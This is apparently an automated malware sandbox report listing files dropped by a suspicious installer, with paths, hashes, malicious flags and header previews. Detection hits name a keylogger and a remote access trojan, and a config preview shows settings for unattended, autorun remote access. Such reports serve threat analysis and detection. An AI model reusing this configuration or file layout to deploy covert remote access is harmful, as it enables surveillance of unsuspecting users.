Category:	dropped
Size (bytes):	2533560
Entropy (8bit):	6.236092740507617
Encrypted:	false
SSDEEP:	49152:y+PXMbxU8+hh5Mitv70n8yT1CPwDv3uFfJEkyD9:y+PwEMit0n8A1CPwDv3uFfJC
MD5:	59A3B581020759D52538425A1F5A53D5
SHA1:	4E7C528EFEF2C42119C80EFE0AA994B7AA6D2AB6
SHA-256:	4C94F00150231420A0526E9949AC9F339EB04B16BC18CB8A11C7FD98DB1235D6
SHA-512:	9D30D8167E787FD4A82444BAAA3703920EC41CBE9C684010B63564DE04E00D590C8081006C68627B8297D2715194D4B80C23B959E554D42B2770664D1ED1B79E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......[J...+...+...+...S#..+..MC...+..MC...+..MC...+..MC...+..DC...+...+...+...+...+...B..j)...B...+...BO..+...B...+..Rich.+..........PE..L.....7a...........!.....T...p......;H.......p................................'.......&...@...........................#..h....%.T.....&.\|.............&..$....&.L...0.".8...........................h.".@.............%..............................text...>S.......T.................. ..`.rdata.......p.......X..............@..@.data....Y...p%......X%.............@....idata..J.....%......n%.............@..@.00cfg........%.......%.............@..@.rsrc...\|.....&.......%.............@..@.reloc........&.......%.............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mo6x\is-UA1D6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	541880
Entropy (8bit):	5.766958615909
Encrypted:	false
SSDEEP:	12288:ghUZvMdmP9OwMJvP2jkIgEIdwKADpiw7FCPU2lvzTNl:BhMsPG2udwLdigFyU2lvzTNl
MD5:	753B75570811052953F336261E3031BB
SHA1:	2244CCE49368180C1CF6BCA0C57DAEC71401C4F7
SHA-256:	603C5FD4E29C14DF02937DF765BF76E067A7A4706130D93F947106D0AE09A9DE
SHA-512:	6C81B813A79077E7157CF7F647A1F3C31A71098037C7003BC40B70E4AADAFCF490FDC01C71A26F8FED8C97BA33B41DF5B8A0D479DA951459CBD56421705813C5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............K...K...K..wK...K..J...K..J...K..J...K..J...K..J...K)..J...K...Km..K)..J...K)..J...K)..K...K)..J...KRich...K................PE..L.....7a...........!.........................................................p............@..........................)...N........... ..s............ ...$...0...5......8...........................H...@............................................text............................... ..`.rdata...g.......h..................@..@.data....;.......6...`..............@....idata..=A.......B..................@..@.00cfg..............................@..@.rsrc...s.... ......................@..@.reloc..`=...0...>..................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mo6x\is-VCJTB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2098416
Entropy (8bit):	6.277915381502377
Encrypted:	false
SSDEEP:	49152:Vkv4EyvQ/qpyr0kAYdQqqW6qvHewDe01CPwDv3uFR0b5YrpsJ:VkvXyvQ/qpyr0kAd66oewv1CPwDv3uFI
MD5:	1AFC9BD5E625E85B696141F62FBA4325
SHA1:	56FB325125F436D7408808446D58AF50F8AA3BFC
SHA-256:	83A1E3CBE242B978B9F55273B7B2648D0492B741FF561C0EC1C6AD9A4AEDAB47
SHA-512:	02C2CF9DBC319C2AAF324175CFD3E435824439F33B4CA697324F1B8FF4331D7BDE80DE46909FC629193EF02DEB40853E295B35DC2E3B094D116B5DD783919213
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........+...x...x...x...x...x..,x...x...x...x...x...x(.8x...x...xT..x...x...x@s.x...x@s/x...x..(x...x@s-x...xRich...x................PE..L....<.Y...........!.....j...................................................` ....... ...@.............................1...c..x.................................. ...8............................w..@............`...............................text....i.......j.................. ..`.rdata..XA.......B...n..............@..@.data............Z..................@....idata..M....`......................@..@.rsrc...............................@..@.reloc..z............&..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mo6x\libcrypto-1_1.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2533560
Entropy (8bit):	6.236092740507617
Encrypted:	false
SSDEEP:	49152:y+PXMbxU8+hh5Mitv70n8yT1CPwDv3uFfJEkyD9:y+PwEMit0n8A1CPwDv3uFfJC
MD5:	59A3B581020759D52538425A1F5A53D5
SHA1:	4E7C528EFEF2C42119C80EFE0AA994B7AA6D2AB6
SHA-256:	4C94F00150231420A0526E9949AC9F339EB04B16BC18CB8A11C7FD98DB1235D6
SHA-512:	9D30D8167E787FD4A82444BAAA3703920EC41CBE9C684010B63564DE04E00D590C8081006C68627B8297D2715194D4B80C23B959E554D42B2770664D1ED1B79E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......[J...+...+...+...S#..+..MC...+..MC...+..MC...+..MC...+..DC...+...+...+...+...+...B..j)...B...+...BO..+...B...+..Rich.+..........PE..L.....7a...........!.....T...p......;H.......p................................'.......&...@...........................#..h....%.T.....&.\|.............&..$....&.L...0.".8...........................h.".@.............%..............................text...>S.......T.................. ..`.rdata.......p.......X..............@..@.data....Y...p%......X%.............@....idata..J.....%......n%.............@..@.00cfg........%.......%.............@..@.rsrc...\|.....&.......%.............@..@.reloc........&.......%.............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mo6x\libcryptoMD.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2098416
Entropy (8bit):	6.277915381502377
Encrypted:	false
SSDEEP:	49152:Vkv4EyvQ/qpyr0kAYdQqqW6qvHewDe01CPwDv3uFR0b5YrpsJ:VkvXyvQ/qpyr0kAd66oewv1CPwDv3uFI
MD5:	1AFC9BD5E625E85B696141F62FBA4325
SHA1:	56FB325125F436D7408808446D58AF50F8AA3BFC
SHA-256:	83A1E3CBE242B978B9F55273B7B2648D0492B741FF561C0EC1C6AD9A4AEDAB47
SHA-512:	02C2CF9DBC319C2AAF324175CFD3E435824439F33B4CA697324F1B8FF4331D7BDE80DE46909FC629193EF02DEB40853E295B35DC2E3B094D116B5DD783919213
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........+...x...x...x...x...x..,x...x...x...x...x...x(.8x...x...xT..x...x...x@s.x...x@s/x...x..(x...x@s-x...xRich...x................PE..L....<.Y...........!.....j...................................................` ....... ...@.............................1...c..x.................................. ...8............................w..@............`...............................text....i.......j.................. ..`.rdata..XA.......B...n..............@..@.data............Z..................@....idata..M....`......................@..@.rsrc...............................@..@.reloc..z............&..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mo6x\libcurl.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	546816
Entropy (8bit):	6.657309146326691
Encrypted:	false
SSDEEP:	12288:DEnhioDz6zv6pmEmE5A8K8ZOO2rKQrbdCPAEI:Dmbz+vomEBHbZO2YCBI
MD5:	13CD45DF8AAA584EBD2A40EDE76F1E06
SHA1:	BAA19E6A965621CB315E5F866EDC179EF1D6B863
SHA-256:	3FF4E80E327F298A11E116A517BE0963A0B3CD376A6A624CAFFACD586E6B1449
SHA-512:	285D7265AC05CECDD43650E5DEF9198B5F2F4D63665739BAA059598E41F4CE892248D3CA7E793AC274DC05B4C19CFA11C17FAEA62FC1E3495C94A03851049328
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........z%...K..K..K..sH..K..sN...K..sO..K.4....K..sN..K..sO..K..sH..K..sJ..K..J.k.K..rO.>.K..rK..K..r...K.....K..rI..K.Rich..K.................PE..L......_...........!......................................................................@.............................0...0...x....@.......................P...H......................................@............................................text...D........................... ..`.rdata..ZQ.......R..................@..@.data...x+..........................@....rsrc........@......................@..@.reloc...H...P...J..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mo6x\libeay32.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1388688
Entropy (8bit):	6.85745413435775
Encrypted:	false
SSDEEP:	24576:vNaU+KpPikndiNfzN4jH3PlMQzMjYpOtJqTp/kqg1+:xlUfzN4jH3PlyjYpOLqd/kP1+
MD5:	3B838DC25E96877A1852966F75A5C44A
SHA1:	555E1830829B008D66FF591D87AC235F6286AB9A
SHA-256:	292C9367E5F978D2085192B85BCFEA7DF3A033172703BCCF1FF28A74D65D5AC1
SHA-512:	B5A7F05CD721FC75B77BB33528F746E865C2277A32F3AA312A974DE903A817B7C83E7698980A496B5D04595B21926E94CF9F70A15CD0882D57BA25014BA775D6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......lU.(4.y(4.y(4.y!L<y.4.y!L-y34.y(4.y.4.y...y#4.y(4.y=4.y!L;y.6.y!Ly)4.y!L,y)4.y!L)y)4.yRich(4.y................PE..L...#..]...........!.................................................................:...............................A.......6..x.......0...........................p...................................@...............(............................text............................... ..`.rdata..XY.......Z..................@..@.data............t..................@....rsrc...0............Z..............@..@.reloc..,............`..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mo6x\libjpeg-turbo-win.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	713456
Entropy (8bit):	6.620067101616198
Encrypted:	false
SSDEEP:	12288:RPCS0cSUktNimb/JZqNFcbJ3bZJNlvI8CjBMUC6eVc4/SK:RPCS0c1ktNimbqYZJNlvVc4L
MD5:	96D413CAAF8C7793A96EF200F6695922
SHA1:	ABFB19A5BEA8724A08A3C709B68C65178E8EFBE5
SHA-256:	5C6E5346C4EF80E1DD211BD5519311ACA01025CE1D3811113A03E657938F370D
SHA-512:	93BF7AC89AE64948C3E91294DE89478B0F92D9CEFB71C803ABB324E181D783801C87DD6D806B0DB0D3737B3330E37993AE07B9B7D5AACCA9F9F5C3556E23EEE4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......./..k...k...k....%B.b....%@....%A.r...P..z...P..}...P..d...Fx.h...k...=...k...J......Y......j.....L.j...k.$.j......j...Richk...........PE..L...Q.xX...........!.........$.......P....................................... ............@.........................0....... ...(.......@........................8..0p..p............................p..@...............\............................text...9........................... ..`.rdata..............................@..@.data...(...........................@....gfids..d...........................@..@.rsrc...@...........................@..@.reloc...8.......:..................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mo6x\libssl-1_1.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	541880
Entropy (8bit):	5.766958615909
Encrypted:	false
SSDEEP:	12288:ghUZvMdmP9OwMJvP2jkIgEIdwKADpiw7FCPU2lvzTNl:BhMsPG2udwLdigFyU2lvzTNl
MD5:	753B75570811052953F336261E3031BB
SHA1:	2244CCE49368180C1CF6BCA0C57DAEC71401C4F7
SHA-256:	603C5FD4E29C14DF02937DF765BF76E067A7A4706130D93F947106D0AE09A9DE
SHA-512:	6C81B813A79077E7157CF7F647A1F3C31A71098037C7003BC40B70E4AADAFCF490FDC01C71A26F8FED8C97BA33B41DF5B8A0D479DA951459CBD56421705813C5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............K...K...K..wK...K..J...K..J...K..J...K..J...K..J...K)..J...K...Km..K)..J...K)..J...K)..K...K)..J...KRich...K................PE..L.....7a...........!.........................................................p............@..........................)...N........... ..s............ ...$...0...5......8...........................H...@............................................text............................... ..`.rdata...g.......h..................@..@.data....;.......6...`..............@....idata..=A.......B..................@..@.00cfg..............................@..@.rsrc...s.... ......................@..@.reloc..`=...0...>..................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mo6x\mk7r31.bmp (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 168x299, components 3
Category:	dropped
Size (bytes):	8097
Entropy (8bit):	7.94099711365173
Encrypted:	false
SSDEEP:	192:E9NXj7fQ9/RRN0AinryQKGgjkrEQtxH1AYZ18r:E9NzjGkOujEQ3H1V8r
MD5:	2302BC48A162783A6A41C278B3F54145
SHA1:	8C3272769F604DC3AE6C6B98A29CC779532D1783
SHA-256:	1E5F58772571897E96CCA5ACB597DF65F8775E64D7031D6B2CCDBF22D5181F51
SHA-512:	465086DFF63176A864C0BC26BCCFA1FBBA0503F9AFD78A86C863C266469F54069D00BBB718440090A065EA92AD0DD42A67B6A6C99ED6B2378F6A721984A806A6
Malicious:	false
Preview:	......JFIF...................................................( ..&...!1!%)+.....383-7(-.+...........-! .--------------------------------------------------......+...."........................................@........................!1.A.."Qaq..2..#BR...3br........CS...s...............................(......................!.1.AQa".2Rq3...............?.........X..R\|.[..X[q....9$........Q.t.......E..Sv+9.[..a.......J..T..9@.F'..-...$..R.S.\...,.).T..+.T..My.S".]zt.....^.{.EXP.....i..z."].'..6G.H.kU.Q..W5..%i..F..n.{4 .n.m.B.O.h..#.=..$..\|...5..\|'Z......e?...y>6Z...]....]`..Q.<..)..=....H..N..Z.~....O..qL...j.<.......EE......6Z/P>,....P..i.\..PK.W...5..o.........2.\.t./....j8.3/...\|a-%.hx...v.}.Bw.Keck.{....c....G....Z..9o......h.m.Nj..."...j..:...T.n.*Ts........z...K.gl..?O:..F9. /./...,...>...........S.h...m.\..T....5R\|..p......cO..g\M.?....3...JB.......4..$....\|.[.Z...7...\|j..H..r...Y.xcs.e.;...'..%h?..\|fh..oV....j...y\gH.x8....'..8..Qe.G.^.c...^u.

C:\Users\user\AppData\Local\Temp\mo6x\msvcr120.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	970912
Entropy (8bit):	6.9649735952029515
Encrypted:	false
SSDEEP:	12288:LBmFyjLAOQaYkxGXPfY7eiWWcpOKnpTVOIxhK765qlRRb6x4pI23IbJQV:dmFyjLF847eiWWcoGZVOIxh/WxIAIbGV
MD5:	034CCADC1C073E4216E9466B720F9849
SHA1:	F19E9D8317161EDC7D3E963CC0FC46BD5E4A55A1
SHA-256:	86E39B5995AF0E042FCDAA85FE2AEFD7C9DDC7AD65E6327BD5E7058BC3AB615F
SHA-512:	5F11EF92D936669EE834A5CEF5C7D0E7703BF05D03DC4F09B9DCFE048D7D5ADFAAB6A9C7F42E8080A5E9AAD44A35F39F3940D5CCA20623D9CAFE373C635570F7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S9...XlA.XlA.XlA..A.XlA.XmA.XlAQ..A.ZlAQ..AvXlAQ..A!XlAQ..A.XlAQ..A.XlAQ..A.XlAQ..A.XlARich.XlA........PE..L....\|OR.........."!................D............................................... .....@.........................`........R..(....p...................>......d]..@...8...........................H...@............P...............................text............................... ..`.data...4e.......V..................@....idata.......P......................@....rsrc........p.......0..............@..@.reloc..d].......^...4..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mo6x\opus.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	370488
Entropy (8bit):	6.86993159214619
Encrypted:	false
SSDEEP:	6144:wJ9LiOhPhz85popbbFb06wAQAwq961b/v9MkvCq2/JO+UxK6DvX0C7Uxm//f0Ps7:IBi8q5po9JkyICq2/z6DvsyEE5+PgAEX
MD5:	82E49683F540F78B2D1759CDE594482F
SHA1:	352DCBDBBB3C5C927B83389E2AB7F40B66EE716A
SHA-256:	55D99ECD7F821A4B2FE7E5A0B2CEA213DC79004C1DC413BD003F032C61080576
SHA-512:	F50A3BCD5905103EEC344D7DAF1C17896DF9039D3E8D5E9BBD771F1E235EC6045D626ED838C9BF3A8F7A66AA5F41F0743EA7D9BDEF7492DA8B36561089E126BF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........k-...~...~...~.......~....l..~.......~.......~.......~.......~.......~...~...~]...k..~]......~]..~...~]......~Rich...~........PE..L....g._.........."!.................U....... ...................................... .....@..........................^......\h..(.......................8.......l....W...............................W..@............ ...............................text............................... ..`.rdata..6N... ...P..................@..@.data...8....p.......^..............@....rsrc................h..............@..@.reloc..l............j..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mo6x\quartz.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1074302464
Entropy (8bit):	0.0076066072746656796
Encrypted:	false
SSDEEP:
MD5:	F9EE295F34E22150DB8EDD2392482148
SHA1:	60B9700E56D3D79FB0B2DA7DE1E3B964AC4522A4
SHA-256:	5040D2F22275B4C59FA1D282440B228CA1327A66D5A82A9C6D313271EBAEE91E
SHA-512:	E8FFDF207E8FC62543D9FE51423053F4F762CFC9C5106A422E1A3F30D96478AEC34C9CE7E381DE2FBA3B0745D1A4723EDEC626528E8EB4C5898D58E764F674AA
Malicious:	true
Preview:	MZ..............@.......@...............................................!..L.!This program cannot be run in DOS mode...$........PE..L...Q..c...........!...I.p........... ... ..........................................ru....@.....................................................................V....................................................................................edata..............................@..@.code...9o... ...p.................. ..`.data...9............v..............@....rdata..............................@..@.reloc..V...........................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\im\3bzcw9.cfg

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	4.9837880587523955
Encrypted:	false
SSDEEP:	3:SqUEDm:Sqnm
MD5:	71B4245ABD801E82ECC8CB1571F8F52E
SHA1:	CD8ADA2E8089936C031937232E09E385FB402DDC
SHA-256:	4BE589771AC3BE4AE5B94590AFC39AEA664FBF400C651FBD268B48436FA509A7
SHA-512:	6897B6B819850489BF9732C46EDAFBDC8E439F3482E120A693D79FDBCB5F2E6947E7E2065D9A684F0A7CEF1B25E0938476D9F819F9F661A0D7AD2A7D0E8789D9
Malicious:	false
Preview:	..8..DXP+...1.GBY.*..E.JQB......

C:\Users\user\AppData\Roaming\im\AstCrp.dll

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	172216
Entropy (8bit):	6.698242571688099
Encrypted:	false
SSDEEP:	3072:nGhQI/PxvCWRDvcDfo0F5HekeyO54ECV0/sMHL0WPCCb5rAg0Fujx8E0/3xt9qKv:kPxqWYF5HkyDLMsOzrAOL23VqK28j
MD5:	CF1169A87FE6266C7B457A2424DA69DA
SHA1:	5ADD67DEFD4CA56C1E9C0B239899EA699B140B64
SHA-256:	24E01FD95225E260CDD41015A70374A048568D4DF6681B3D44EAABCB1EA03EAF
SHA-512:	7BF76EB5B4E31A65931AF730909FBF848334BC98DA279E291E186FCAFDC81C76D1EF0EFEC4E00B8EAEDE6F8D130DA8B6B3D3C5DD8C14C6DCD3BCDC7D050A4B66
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.%.).K.).K.).K.r.H.$.K.r.N...K.r.O.?.K...J.-.K.{.H.=.K.{.N...K.{.O...K.r.J...K.).J...K...B.!.K...K.(.K.....(.K.)..(.K...I.(.K.Rich).K.................PE..L.....@a...........!.....t...........V..............................................B.....@.........................`X..h....X..P.......(............\|...$...........H..8............................H..@...............8............................text....s.......t.................. ..`.rdata...............x..............@..@.data........p.......P..............@....rsrc...(............\..............@..@.reloc...............b..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\im\ast.exe

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7543992
Entropy (8bit):	6.717610928993395
Encrypted:	false
SSDEEP:	98304:q0f/bCIDcCkgVmZqIXrdoXj++CEKDFBaVOGizeKFUtqiAp+hRWmMLlJ7p1:X/bCIPkgVpycKDFqOLNUtqiAz
MD5:	8002D9E5851728EB024B398CF19DE390
SHA1:	9A1DC7134F3F6FCCB37DFC4DDDA35DFA2875095E
SHA-256:	B8DDE42C70D8C4A3511D5EDFFBC9F7F0C03DBDA980E29693E71344F76DA6BB0F
SHA-512:	6936B6B01F9FC2F2F69DE6AE468A9F7173239BD003AD8B7BC7336C4DD4DB50457E20EC6783B2E8A166D684A56F3F1E9FB701CA903DF3F74E3CA25C46B8A8D00E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Users\user\AppData\Roaming\im\ast.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Roaming\im\ast.exe, Author: Joe Security Rule: JoeSecurity_TVrat, Description: Yara detected TVrat, Source: C:\Users\user\AppData\Roaming\im\ast.exe, Author: Joe Security
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....@a..................K..`'.......K.......K...@...........................y.......s..........@............................S..m....X..f ...........r..$... T.8d............T...............T.....................@.S..............................text... .J.......J................. ..`.itext..$.....J.......J............. ..`.data...T"....K..$....K.............@....bss..........M.......M..................idata...m....S..n....M.............@....tls....D.....T......N..................rdata..#.....T......N.............@..@.reloc..8d... T..f...,N.............@..B.rsrc....f ...X..f ...R.............@..@..............y.......r.............@..@................................................................................................

C:\Users\user\AppData\Roaming\im\astclient.dll

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	581304
Entropy (8bit):	6.580382227041057
Encrypted:	false
SSDEEP:	12288:bj4Q3+oAscridrDg76u3HsBTc9GtIGPi2Emvh5/kJSMl0yomcY/nRwl2Sp:bHYXSTMGtNPitm1yomJ/n+tp
MD5:	CDC5A8221738C1CA66564755BB58138C
SHA1:	EF096A2CAF133D217C202C147855F2CEE7ECD105
SHA-256:	DF5CEF85E92C6FFFAAC0ACDCE645AED3C5FA1F8FE7F9700D84CA08468AD3D5E3
SHA-512:	A9F3E256518771C1C97374E7AE3EE19EBEC0D794CD740E059DBC8289356CF1FB5D4A19F2677DB2ADBB179A73520AAEC67947DCF4C8BCD930206DE4B6CDCAD4C6
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9...}..O}..O}..O.\|*Ol..O.\|(O...O.\|)Oc..O/..Nd..O/..N...O/..N_..O...Ol..O}..O...O..Nh..O..N\|..O.$O\|..O}.LO\|..O..N\|..ORich}..O........PE..L...L..a...........!..... ...........m.......0......................................C.....@.........................0...P...............0................$.......[......p..............................@............0...............................text............ .................. ..`.rdata..H....0.......$..............@..@.data....d... ...D..................@....rsrc...0............X..............@..@.reloc...[.......\...^..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\im\astrct.dll

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1724088
Entropy (8bit):	6.573221633911959
Encrypted:	false
SSDEEP:	49152:uSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSvSSSSSSSSSSSSSSSlwwwwwwwwwwwwwwI:uSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSO
MD5:	E0E559010A1CC7CB6B6F754E8833A156
SHA1:	0ADB286A1511B9D5820B042EE7D059DAEE8D0978
SHA-256:	A49D90D39BCF0FB183A8E2DFDA90E1B745565DDC25C0CC92ED7068868CB8F3E4
SHA-512:	3225A22CA8044FAFE03C005C55924B71EC2D3C9EE2325B45703EADC1F912DD867DD7FADCA0652FA2ACD46D4067575377388134E3CC58B13C0F82540224E98221
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......3...w...w...w....5k.o....5i.....5h.h.......Y...w...:...........%...l...%.......%...R....VQ.d...w................v.....e.v...w...v.......v...Richw...........PE..L..._..`...........!.....@...B...............P......................................Q.....@.........................@Z..H....Z..........(............*...$... ..........p...........................P...@............P..\|............................text....>.......@.................. ..`.rdata..(....P... ...D..............@..@.data........p...2...d..............@....rodata.@...........................@..@.rsrc...(...........................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\im\aw_sas32.dll

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17648
Entropy (8bit):	6.317642988990049
Encrypted:	false
SSDEEP:	384:ZPkFNiOMTd1th9gQIim+4vBDVU376TFNiWC:iNhMpXgIr4vBBYANi1
MD5:	ACF7048E2347CFD66CD17648DBFBAF45
SHA1:	DF5A12E399176771DC8CF2F7D0CF5548E41E2BB3
SHA-256:	F1CFFBC2ADA8491755C76360AAD14314DEB576AA65F503E52FA24DEE7D33D8E7
SHA-512:	51A53CB700FBB7ABF3BDA3101ED0885572460C1686D07C3D2125C8AA6F0834E30528BEE78CC40EE9270714A16AC769D16F5A916F37F0E48BBF7121202E58E0C0
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......):5.m[[.m[[.m[[.d#..o[[.d#..c[[.d#..o[[.d#..j[[.m[Z.S[[.d#..k[[.d#..l[[.d#..l[[.Richm[[.........PE..L......K...........!.........................0...............................p............@..........................<..N...\|6..P....P...............0.......`..$....................................4..@............0...............................text...;........................... ..`.rdata.......0......................@..@.data........@.......&..............@....rsrc........P.......(..............@..@.reloc.......`.......,..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\im\config.ini

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	586
Entropy (8bit):	5.203397968860563
Encrypted:	false
SSDEEP:	12:L1YWzRcSbZKsNlTQ/dw/7y/x5/D++472p+fso+9hffAaJYQMhsK/qI8qP:Z7zRcSbZKKlcMypJD5KxkiaJosBq
MD5:	5D7974984AE3D593B7887CC7BDA866DD
SHA1:	9C0B2EC2659812F1E46F2D32F82E61DF223C674C
SHA-256:	7888BDB632F1BC5EB6DAE5624FE9065868D279E50ACC569D3DDE0F6DB1C95051
SHA-512:	7BDACFBCE85726A683C3A316F578A88D5991E37C8FB1E13FC4715141F5752E7FD5D145AC36730B637E26FD3198EDE2D27E86F5CF7283A0C9B08579B1056B0B70
Malicious:	false
Preview:	[config]..Security.FixPass=4297F44B13955235245B2497399D7A93..Main.Autorun=1..Main.CloseButtonOperation=0..Main.CheckUpdates=0..Security.UseLocalSecuritySettings=1..Security.DynPassKind=0..Security.PassLifetime=0..Security.CanWinAuth=1..Security.AccessKind=1..Security.CanWinLoginAnotherUser=1..Security.UNCONTROLLED_ACCESS=1..Security.CanWinLoginNotAdmin=1..Security.DenyRemoteSettingsControl=0..Security.DenyLockControls=0..Log.ServerStoreTechLog=0..Main.AWAYMODE_REQUIRED=1..Main.LogsLifetime=1..Main.LogsForMail2Support=1..ProxySettings.UseKind=1..ProxySettings.StoreUserAndPassw=1..

C:\Users\user\AppData\Roaming\im\hatls.dll

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2236144
Entropy (8bit):	5.624149670958732
Encrypted:	false
SSDEEP:	24576:2HGHuX4EewGQcPryfFMoxJ+4PulW/ChEIgTS/zRUm:2HGOX4CGQtMs+WuVge/em
MD5:	BCCF6A5C2595EEA84533692BB788D8BB
SHA1:	24318226F145E52B7633A4E9E844D6EAD43B75AC
